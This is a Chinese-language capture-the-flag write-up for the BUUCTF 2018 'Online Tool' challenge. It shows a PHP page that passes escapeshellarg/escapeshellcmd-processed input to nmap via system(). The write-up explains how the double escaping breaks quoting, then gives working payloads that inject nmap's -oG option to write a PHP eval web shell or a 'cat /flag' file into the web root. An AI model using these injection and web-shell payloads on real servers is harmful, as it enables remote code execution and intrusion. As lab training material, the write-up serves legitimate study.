[BUUCTF 2018]Online Tool
[BUUCTF 2018]Online Tool
打开靶机
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
前面的HTTP_X_FORWARDED_FOR和REMOTE_ADDR是服务器用来获取ip的
然后就是传host的参数
主要就是escapeshellarg(),escapeshellcmd()这两个函数
1.如果传入的参数是172.17.0.2' -v -d a=1
2.经过escapeshellarg()这个函数处理之后会变成'172.17.0.2'\'' -v -d a=1'
因为中间的那个单引号会被转义,然后再用单引号将左右两部分包括起来
3.再经过escapeshellcmd()这个函数处理之后会变成'172.17.0.2'\\'' -v -d a=1\'
因为这个函数对中间的那个\进行了转义,这样之后,原来中间的两个引号就会闭合,然后对最后那个没有匹配的单引号也会进行转义
4.最后的命令就会变为'172.17.0.2'\\'' -v -d a=1\'
就相当于是172.17.0.2\ -v -d a=1'
因为中间有两个,一个是转义符,一个被转义了。即最终是向172.17.0.2\
发起请求,POST 数据为a=1'
可以看到刚开始的请求是172.17.0.2
,但是经过两个函数处理之后就变成了172.17.0.2\
,说明这样两次转义之后是会出问题的
再看到最后一句echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
很明显最终的目的就是要通过这个system函数来执行命令
我们看看各个nmap参数的含义
-T<0-5>
:设置时序模块,越高越快
-sS/sT/sA/sW/sM
:使用SYN、TCP、ACK、Window、Maimon来进行扫描
S是SYN扫描,半连接扫描,nmap只发送SYN报文,通过服务器是否响应SYN+ACK来判断对应端口是否开放
T是全连接扫描会和服务器建立完整的三次握手,效率低
A发送ACK报文,通过服务器响应来判断是否开放,有的服务器不开会回复ICMP端口不可达,当回复RST时表示可能被拦截或者端口开放,不是一个准确的判断条件
W 是窗口扫描,发出的报文和ACK一样,利用的是在某些系统中如果端口开放,收到ACK包后会响应一个窗口非0的RST包
M是Maimon扫描,使用发现者的名字命名。其原理是向目标服务器发送FIN/ACK 报文,在某些系统中如果端口开放则会丢弃该报文不做响应,如果端口关闭则回复RST或者ICMP,Nmap可借此判断服务器端口的开放情况
-Pn
将所有主机都默认为在线,跳过主机发现
--host-timeout <milliseconds>
(放弃低速目标主机)
-F
快速模式,扫描比默认端口数量更少的端口
这里的代码大概的意思就是要我们传入一个IP进行扫描,并且我们的输入会被单引号括起来,然后通过上面两个函数进行转义过滤
但因为上面的解析我们发现这两个函数的处理是存在问题的
这里可以利用nmap的命令来做一些事
有一个参数-oG
可以将命令和结果写到同一个文件上
可以直接传一句话木马
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php '
要注意的是最前面引号后有一个空格,和最后面引号前有一个空格
这样传参之后,中间会给你文件地址
然后直接蚁剑连接
在根目录下存在flag文件
还有一种做法就是直接把命令改成读取flag文件
?host=' <?php echo `cat /flag`;?> -oG test.php '
然后再去访问那个上面提供的那个文件
http://2e6f989e-2948-44b1-bf0f-c41faa5883fc.node4.buuoj.cn:81/7c0df9bdb25c772c01868f0254c797bb/test.php
如果后面没有加引号,在传文件之后,文件名后会多一个引号
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php
因为先经过escapeshellarg()这个函数处理,先会对前面的单引号进行转义,然后再把前面和后面的内容用单引号括起来连接,因为原本这个单引号前面没有内容,所以前面只会多一对单引号
?host=''\'' <?php @eval($_POST["cmd"]);?> -oG test.php'
然后再经escapeshellcmd()函数处理,escapeshellcmd对\以及最后那个不配对儿的引号进行了转义,还会对这些字符进行转义:
#&;`,|*?~<>^()[]{}$\。:
?host=''\\'' \<\?php @eval\($_POST\["cmd"\]\)\;\?\> -oG test.php\'
所以最后会多一个单引号
但如果加了引号,但是最后一个引号前面没有加空格,那样文件名后面会多双斜杠
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php'
结果就是这样
''\\'' \<\?\php @eval\($_POST\["cmd"\]\)\;\?\> -oG test.php'\\'''
参考链接:https://paper.seebug.org/164/